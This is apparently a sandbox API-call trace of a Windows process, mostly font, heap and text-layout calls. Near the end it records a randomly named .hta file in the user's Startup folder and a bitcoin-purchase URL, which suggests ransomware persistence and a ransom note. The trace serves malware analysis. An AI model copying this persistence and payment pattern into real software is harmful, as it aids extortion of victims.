[0103.118] SelectObject (hdc=0xa01025b, h=0x70a0202) returned 0x18a002e
[0103.118] GetTextMetricsW (in: hdc=0xa01025b, lptm=0x1ce200 | out: lptm=0x1ce200) returned 1
[0103.181] GetOutlineTextMetricsW (in: hdc=0xa01025b, cjCopy=0xd8, potm=0x1ce100 | out: potm=0x1ce100) returned 0xd8
[0103.181] SelectObject (hdc=0xa01025b, h=0x18a002e) returned 0x70a0202
[0103.181] SelectObject (hdc=0xa01025b, h=0x70a0202) returned 0x18a002e
[0103.181] GetTextFaceW (in: hdc=0xa01025b, c=32, lpName=0x1ce350 | out: lpName="MS Mincho") returned 10
[0103.181] SelectObject (hdc=0xa01025b, h=0x18a002e) returned 0x70a0202
[0103.182] SelectObject (hdc=0xa01025b, h=0x70a0202) returned 0x18a002e
[0103.182] GetTextCharsetInfo (in: hdc=0xa01025b, lpSig=0x1ce2b8, dwFlags=0x0 | out: lpSig=0x1ce2b8) returned 0
[0103.182] SelectObject (hdc=0xa01025b, h=0x18a002e) returned 0x70a0202
[0103.183] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x8, Size=0xc) returned 0x4987b8
[0103.183] SelectObject (hdc=0xa01025b, h=0x70a0202) returned 0x18a002e
[0103.183] GetFontUnicodeRanges (in: hdc=0xa01025b, lpgs=0x0 | out: lpgs=0x0) returned 0x4424
[0103.183] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.183] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x4424) returned 0x4fa428
[0103.183] GetFontUnicodeRanges (in: hdc=0xa01025b, lpgs=0x4fa428 | out: lpgs=0x4fa428) returned 0x4424
[0103.183] SelectObject (hdc=0xa01025b, h=0x18a002e) returned 0x70a0202
[0103.183] SelectObject (hdc=0xa01025b, h=0x70a0202) returned 0x18a002e
[0103.183] GetCharWidth32W (in: hdc=0xa01025b, iFirst=0x20, iLast=0x7e, lpBuffer=0x1ce290 | out: lpBuffer=0x1ce290) returned 1
[0103.184] SelectObject (hdc=0xa01025b, h=0x18a002e) returned 0x70a0202
[0103.186] SelectObject (hdc=0xa01025b, h=0x70a0202) returned 0x18a002e
[0103.186] GetCharWidthW (in: hdc=0xa01025b, iFirst=0x265b, iLast=0x265b, lpBuffer=0x1ce2dc | out: lpBuffer=0x1ce2dc) returned 1
[0103.188] SelectObject (hdc=0xa01025b, h=0x18a002e) returned 0x70a0202
[0103.189] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x8, Size=0xb4) returned 0x4b7600
[0103.189] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x8, Size=0xb4) returned 0x4b76c0
[0103.189] LsQueryLineDup () returned 0x0
[0103.189] LsDestroyLine () returned 0x0
[0103.189] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.189] LsSetDoc () returned 0x0
[0103.190] LsCreateLine () returned 0x0
[0103.190] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.190] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x8, Size=0xf8) returned 0x4b7780
[0103.190] CreateFontIndirectW (lplf=0x1ce2a0) returned 0x60a0200
[0103.190] SelectObject (hdc=0xa01025b, h=0x60a0200) returned 0x18a002e
[0103.190] GetTextMetricsW (in: hdc=0xa01025b, lptm=0x1ce208 | out: lptm=0x1ce208) returned 1
[0103.190] GetOutlineTextMetricsW (in: hdc=0xa01025b, cjCopy=0xd8, potm=0x1ce108 | out: potm=0x1ce108) returned 0xd8
[0103.190] SelectObject (hdc=0xa01025b, h=0x18a002e) returned 0x60a0200
[0103.190] SelectObject (hdc=0xa01025b, h=0x60a0200) returned 0x18a002e
[0103.190] GetTextFaceW (in: hdc=0xa01025b, c=32, lpName=0x1ce358 | out: lpName="Tahoma") returned 7
[0103.190] SelectObject (hdc=0xa01025b, h=0x18a002e) returned 0x60a0200
[0103.191] SelectObject (hdc=0xa01025b, h=0x60a0200) returned 0x18a002e
[0103.191] GetTextCharsetInfo (in: hdc=0xa01025b, lpSig=0x1ce2c0, dwFlags=0x0 | out: lpSig=0x1ce2c0) returned 204
[0103.191] SelectObject (hdc=0xa01025b, h=0x18a002e) returned 0x60a0200
[0103.191] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x8, Size=0xc) returned 0x498878
[0103.191] SelectObject (hdc=0xa01025b, h=0x60a0200) returned 0x18a002e
[0103.191] GetFontUnicodeRanges (in: hdc=0xa01025b, lpgs=0x0 | out: lpgs=0x0) returned 0x208
[0103.191] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.191] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x208) returned 0x4c6c20
[0103.191] GetFontUnicodeRanges (in: hdc=0xa01025b, lpgs=0x4c6c20 | out: lpgs=0x4c6c20) returned 0x208
[0103.191] SelectObject (hdc=0xa01025b, h=0x18a002e) returned 0x60a0200
[0103.191] SelectObject (hdc=0xa01025b, h=0x60a0200) returned 0x18a002e
[0103.191] GetCharWidth32W (in: hdc=0xa01025b, iFirst=0x20, iLast=0x7e, lpBuffer=0x1ce298 | out: lpBuffer=0x1ce298) returned 1
[0103.195] SelectObject (hdc=0xa01025b, h=0x18a002e) returned 0x60a0200
[0103.195] RtlReAllocateHeap (Heap=0x450000, Flags=0x0, Ptr=0x48b7f0, Size=0x12c) returned 0x4c77c0
[0103.195] RtlReAllocateHeap (Heap=0x450000, Flags=0x0, Ptr=0x4be588, Size=0x12c) returned 0x4be588
[0103.195] RtlReAllocateHeap (Heap=0x450000, Flags=0x0, Ptr=0x4949e8, Size=0x258) returned 0x4c78f8
[0103.195] RtlReAllocateHeap (Heap=0x450000, Flags=0x0, Ptr=0x494d20, Size=0x258) returned 0x4c7b58
[0103.197] GetSysColor (nIndex=5) returned 0xffffff
[0103.197] SelectObject (hdc=0xa01025b, h=0x60a0200) returned 0x18a002e
[0103.197] GetCharWidthW (in: hdc=0xa01025b, iFirst=0xfdef, iLast=0xfdef, lpBuffer=0x1ce2dc | out: lpBuffer=0x1ce2dc) returned 1
[0103.220] SelectObject (hdc=0xa01025b, h=0x18a002e) returned 0x60a0200
[0103.220] RtlReAllocateHeap (Heap=0x450000, Flags=0x0, Ptr=0x4c77c0, Size=0x190) returned 0x494d20
[0103.220] RtlReAllocateHeap (Heap=0x450000, Flags=0x0, Ptr=0x4be588, Size=0x190) returned 0x4949e8
[0103.220] RtlReAllocateHeap (Heap=0x450000, Flags=0x0, Ptr=0x4c78f8, Size=0x320) returned 0x4c7db8
[0103.220] RtlReAllocateHeap (Heap=0x450000, Flags=0x0, Ptr=0x4c7b58, Size=0x320) returned 0x4c77c0
[0103.221] LsQueryLineDup () returned 0x0
[0103.221] LsDestroyLine () returned 0x0
[0103.221] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.222] RtlReAllocateHeap (Heap=0x450000, Flags=0x0, Ptr=0x494328, Size=0xd8) returned 0x4c7ae8
[0103.222] LsSetDoc () returned 0x0
[0103.222] LsCreateLine () returned 0x0
[0103.222] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.223] GetSysColor (nIndex=5) returned 0xffffff
[0103.224] LsQueryLineDup () returned 0x0
[0103.224] LsDestroyLine () returned 0x0
[0103.224] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.225] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.225] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.225] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x40) returned 0x4a4ad8
[0103.226] LsSetDoc () returned 0x0
[0103.226] LsCreateLine () returned 0x0
[0103.226] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.226] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x8, Size=0xf8) returned 0x4f4fe8
[0103.226] CreateFontIndirectW (lplf=0x1ce2a0) returned 0x30a01ff
[0103.226] SelectObject (hdc=0xa01025b, h=0x30a01ff) returned 0x18a002e
[0103.226] GetTextMetricsW (in: hdc=0xa01025b, lptm=0x1ce208 | out: lptm=0x1ce208) returned 1
[0103.229] GetOutlineTextMetricsW (in: hdc=0xa01025b, cjCopy=0xd8, potm=0x1ce108 | out: potm=0x1ce108) returned 0xd8
[0103.229] SelectObject (hdc=0xa01025b, h=0x18a002e) returned 0x30a01ff
[0103.229] SelectObject (hdc=0xa01025b, h=0x30a01ff) returned 0x18a002e
[0103.229] GetTextFaceW (in: hdc=0xa01025b, c=32, lpName=0x1ce358 | out: lpName="Tahoma") returned 7
[0103.229] SelectObject (hdc=0xa01025b, h=0x18a002e) returned 0x30a01ff
[0103.229] SelectObject (hdc=0xa01025b, h=0x30a01ff) returned 0x18a002e
[0103.229] GetTextCharsetInfo (in: hdc=0xa01025b, lpSig=0x1ce2c0, dwFlags=0x0 | out: lpSig=0x1ce2c0) returned 204
[0103.229] SelectObject (hdc=0xa01025b, h=0x18a002e) returned 0x30a01ff
[0103.229] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x8, Size=0xc) returned 0x498890
[0103.230] SelectObject (hdc=0xa01025b, h=0x30a01ff) returned 0x18a002e
[0103.230] GetFontUnicodeRanges (in: hdc=0xa01025b, lpgs=0x0 | out: lpgs=0x0) returned 0x208
[0103.230] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.230] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x208) returned 0x4ff860
[0103.230] GetFontUnicodeRanges (in: hdc=0xa01025b, lpgs=0x4ff860 | out: lpgs=0x4ff860) returned 0x208
[0103.230] SelectObject (hdc=0xa01025b, h=0x18a002e) returned 0x30a01ff
[0103.230] SelectObject (hdc=0xa01025b, h=0x30a01ff) returned 0x18a002e
[0103.230] GetCharWidth32W (in: hdc=0xa01025b, iFirst=0x20, iLast=0x7e, lpBuffer=0x1ce298 | out: lpBuffer=0x1ce298) returned 1
[0103.234] SelectObject (hdc=0xa01025b, h=0x18a002e) returned 0x30a01ff
[0103.234] RtlReAllocateHeap (Heap=0x450000, Flags=0x0, Ptr=0x4622f0, Size=0x140) returned 0x4c7bc8
[0103.235] LsQueryLineDup () returned 0x0
[0103.235] LsDestroyLine () returned 0x0
[0103.235] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.235] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x40) returned 0x4a4b20
[0103.236] RtlReAllocateHeap (Heap=0x450000, Flags=0x0, Ptr=0x4c7ae8, Size=0x144) returned 0x500278
[0103.236] RtlReAllocateHeap (Heap=0x450000, Flags=0x0, Ptr=0x4943c8, Size=0xc0) returned 0x4c7ae8
[0103.236] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x30) returned 0x4b29f8
[0103.236] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x64) returned 0x4bc9a0
[0103.236] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0xec) returned 0x494328
[0103.236] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.236] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.237] LsSetDoc () returned 0x0
[0103.237] LsCreateLine () returned 0x0
[0103.237] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.238] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x18) returned 0x4bc140
[0103.239] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x8, Size=0x30) returned 0x4b2a30
[0103.239] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x8, Size=0x250) returned 0x5004d0
[0103.239] LsGetRubyLsimethods () returned 0x0
[0103.239] LsGetTatenakayokoLsimethods () returned 0x0
[0103.239] LsGetHihLsimethods () returned 0x0
[0103.239] LsGetWarichuLsimethods () returned 0x0
[0103.239] LsGetReverseLsimethods () returned 0x0
[0103.239] LsCreateContext () returned 0x0
[0103.239] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x670) returned 0x500728
[0103.239] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x24) returned 0x4b6948
[0103.240] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x110) returned 0x500da0
[0103.240] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x24) returned 0x4b6978
[0103.240] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x2e4) returned 0x500eb8
[0103.240] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x20) returned 0x48b4e0
[0103.240] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x20) returned 0x48b508
[0103.240] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0xa0) returned 0x4c7d10
[0103.240] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x40) returned 0x4a4b68
[0103.240] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x20) returned 0x48b530
[0103.240] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x20) returned 0x48b558
[0103.240] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x20) returned 0x5011c0
[0103.240] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x20) returned 0x5011e8
[0103.240] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x400) returned 0x5019a8
[0103.241] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x8) returned 0x4bd810
[0103.241] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x8) returned 0x4bd820
[0103.241] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x8) returned 0x4bd830
[0103.241] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x8) returned 0x4bd840
[0103.241] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x128) returned 0x501db0
[0103.241] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x11c) returned 0x501ee0
[0103.241] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x108) returned 0x502008
[0103.241] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x130) returned 0x502118
[0103.241] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x110) returned 0x502250
[0103.241] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x278) returned 0x502368
[0103.241] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0xc8) returned 0x5025e8
[0103.241] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x190) returned 0x5026b8
[0103.241] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x78) returned 0x4622f0
[0103.241] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0xf0) returned 0x4f2fe8
[0103.242] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x4c) returned 0x497c68
[0103.242] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x194) returned 0x502850
[0103.242] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0xc8) returned 0x5029f0
[0103.242] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x190) returned 0x502ac0
[0103.242] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x108) returned 0x502c58
[0103.242] LsSetModWidthPairs () returned 0x0
[0103.242] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x240) returned 0x502d68
[0103.242] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x18) returned 0x4bc160
[0103.242] LsSetBreaking () returned 0x0
[0103.242] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x271) returned 0x503428
[0103.242] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0xa) returned 0x4ba8d0
[0103.242] LsSetDoc () returned 0x0
[0103.243] LsCreateLine () returned 0x0
[0103.243] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.243] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x8, Size=0xb4) returned 0x5036a8
[0103.243] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x8, Size=0xb4) returned 0x503768
[0103.243] LsQueryLineDup () returned 0x0
[0103.243] LsDestroyLine () returned 0x0
[0103.243] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.243] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x40) returned 0x503900
[0103.244] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x502fb0 | out: hHeap=0x450000) returned 1
[0103.244] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.244] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.244] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.244] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.244] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.244] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.244] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.244] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x8, Size=0x4c) returned 0x497cc0
[0103.244] LsdnFinishRegular () returned 0x0
[0103.244] LsQueryLineDup () returned 0x0
[0103.244] LsQueryLineCpPpoint () returned 0x0
[0103.244] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.245] LsDestroyLine () returned 0x0
[0103.245] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4bc140 | out: hHeap=0x450000) returned 1
[0103.245] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.245] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x40) returned 0x503948
[0103.246] RtlReAllocateHeap (Heap=0x450000, Flags=0x0, Ptr=0x48bbd0, Size=0x90) returned 0x4c5630
[0103.246] CreateFontIndirectW (lplf=0x1ce6b0) returned 0x30a01fd
[0103.246] SelectObject (hdc=0xa01025b, h=0x30a01fd) returned 0x18a002e
[0103.246] GetTextMetricsW (in: hdc=0xa01025b, lptm=0x1ce618 | out: lptm=0x1ce618) returned 1
[0103.248] GetOutlineTextMetricsW (in: hdc=0xa01025b, cjCopy=0xd8, potm=0x1ce518 | out: potm=0x1ce518) returned 0xd8
[0103.248] SelectObject (hdc=0xa01025b, h=0x18a002e) returned 0x30a01fd
[0103.248] SelectObject (hdc=0xa01025b, h=0x30a01fd) returned 0x18a002e
[0103.248] GetTextFaceW (in: hdc=0xa01025b, c=32, lpName=0x1ce768 | out: lpName="Wingdings") returned 10
[0103.248] SelectObject (hdc=0xa01025b, h=0x18a002e) returned 0x30a01fd
[0103.249] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x8, Size=0xc) returned 0x4ba8e8
[0103.249] SelectObject (hdc=0xa01025b, h=0x30a01fd) returned 0x18a002e
[0103.249] GetFontUnicodeRanges (in: hdc=0xa01025b, lpgs=0x0 | out: lpgs=0x0) returned 0x6c
[0103.249] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.249] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x6c) returned 0x48ad18
[0103.249] GetFontUnicodeRanges (in: hdc=0xa01025b, lpgs=0x48ad18 | out: lpgs=0x48ad18) returned 0x6c
[0103.249] SelectObject (hdc=0xa01025b, h=0x18a002e) returned 0x30a01fd
[0103.249] SelectObject (hdc=0xa01025b, h=0x30a01fd) returned 0x18a002e
[0103.249] GetCharWidth32W (in: hdc=0xa01025b, iFirst=0x20, iLast=0x7e, lpBuffer=0x1ce6a8 | out: lpBuffer=0x1ce6a8) returned 1
[0103.254] SelectObject (hdc=0xa01025b, h=0x18a002e) returned 0x30a01fd
[0103.254] LsSetDoc () returned 0x0
[0103.254] LsCreateLine () returned 0x0
[0103.254] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.255] LsQueryLineDup () returned 0x0
[0103.255] LsDestroyLine () returned 0x0
[0103.255] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.255] RtlReAllocateHeap (Heap=0x450000, Flags=0x0, Ptr=0x49f0c0, Size=0xc0) returned 0x505278
[0103.256] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x40) returned 0x503990
[0103.256] LsSetDoc () returned 0x0
[0103.256] LsCreateLine () returned 0x0
[0103.257] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.257] LsQueryLineDup () returned 0x0
[0103.257] LsDestroyLine () returned 0x0
[0103.257] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.258] RtlReAllocateHeap (Heap=0x450000, Flags=0x0, Ptr=0x500278, Size=0x1d4) returned 0x505340
[0103.258] LsSetDoc () returned 0x0
[0103.258] LsCreateLine () returned 0x0
[0103.258] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.259] LsQueryLineDup () returned 0x0
[0103.259] LsDestroyLine () returned 0x0
[0103.259] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.261] LsSetDoc () returned 0x0
[0103.261] LsCreateLine () returned 0x0
[0103.261] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.261] LsQueryLineDup () returned 0x0
[0103.261] LsDestroyLine () returned 0x0
[0103.261] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.262] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x40) returned 0x5039d8
[0103.263] LsSetDoc () returned 0x0
[0103.263] LsCreateLine () returned 0x0
[0103.263] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.263] LsQueryLineDup () returned 0x0
[0103.264] LsDestroyLine () returned 0x0
[0103.264] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.264] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x40) returned 0x503a20
[0103.264] LsSetDoc () returned 0x0
[0103.265] LsCreateLine () returned 0x0
[0103.265] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.281] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x18) returned 0x4bc220
[0103.283] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x8, Size=0x30) returned 0x4b2a68
[0103.284] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x2e0) returned 0x505520
[0103.284] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x24) returned 0x4b69d8
[0103.285] LsSetDoc () returned 0x0
[0103.285] LsCreateLine () returned 0x0
[0103.285] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.285] LsQueryLineDup () returned 0x0
[0103.285] LsDestroyLine () returned 0x0
[0103.285] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.285] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x505520 | out: hHeap=0x450000) returned 1
[0103.286] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.286] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.286] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.286] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.286] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.286] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.286] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.286] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x8, Size=0x4c) returned 0x497d18
[0103.286] LsdnFinishRegular () returned 0x0
[0103.286] LsQueryLineDup () returned 0x0
[0103.286] LsQueryLineCpPpoint () returned 0x0
[0103.286] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.287] LsDestroyLine () returned 0x0
[0103.287] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4bc220 | out: hHeap=0x450000) returned 1
[0103.287] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.287] RtlReAllocateHeap (Heap=0x450000, Flags=0x0, Ptr=0x505340, Size=0x2ac) returned 0x505340
[0103.288] LsSetDoc () returned 0x0
[0103.288] LsCreateLine () returned 0x0
[0103.288] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.289] SelectObject (hdc=0xa01025b, h=0x30a01ff) returned 0x18a002e
[0103.289] GetCharWidthW (in: hdc=0xa01025b, iFirst=0x2052, iLast=0x2052, lpBuffer=0x1ce504 | out: lpBuffer=0x1ce504) returned 1
[0103.289] SelectObject (hdc=0xa01025b, h=0x18a002e) returned 0x30a01ff
[0103.289] LsQueryLineDup () returned 0x0
[0103.289] LsDestroyLine () returned 0x0
[0103.289] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.289] CreateUri (in: pwzURI="https://localbitcoins.net/buy_bitcoins", dwFlags=0x2b81, dwReserved=0x0, ppURI=0x1ce62c | out: ppURI=0x1ce62c*=0x47d5fc) returned 0x0
[0103.295] ParseURLW (in: pcszURL="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/AppData/Roaming/Microsoft/Windows/Start%20Menu/Programs/Startup/twU5X5u5JjqyRmBjT4Z9MFf9KNV5.hta", ppu=0x1ce540 | out: ppu=0x1ce540) returned 0x0
[0103.295] CreateUri (in: pwzURI="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/AppData/Roaming/Microsoft/Windows/Start%20Menu/Programs/Startup/twU5X5u5JjqyRmBjT4Z9MFf9KNV5.hta", dwFlags=0x2b85, dwReserved=0x0, ppURI=0x1ce5fc | out: ppURI=0x1ce5fc*=0x47c7a4) returned 0x0
[0103.295] IUnknown:QueryInterface (in: This=0x47c7a4, riid=0x732ed6e8*(Data1=0x50295b0c, Data2=0x6b79, Data3=0x4935, Data4=([0]=0xae, [1]=0xd8, [2]=0x5, [3]=0xd8, [4]=0xe, [5]=0xc8, [6]=0x6a, [7]=0x60)), ppvObject=0x1ce5c4 | out: ppvObject=0x1ce5c4*=0x47c7a4) returned 0x0
[0103.295] IUnknown:Release (This=0x47c7a4) returned 0x9
[0103.295] IUnknown:AddRef (This=0x47c7a4) returned 0xa
[0103.296] CoInternetCombineIUri (in: pBaseUri=0x47c7a4, pRelativeUri=0x47d5fc, dwCombineFlags=0x6000000, ppCombinedUri=0x1ce630, dwReserved=0x0 | out: ppCombinedUri=0x1ce630*=0x47d5fc) returned 0x0
[0103.296] IUnknown:Release (This=0x47c7a4) returned 0xa
[0103.296] IUnknown:Release (This=0x47c7a4) returned 0x9
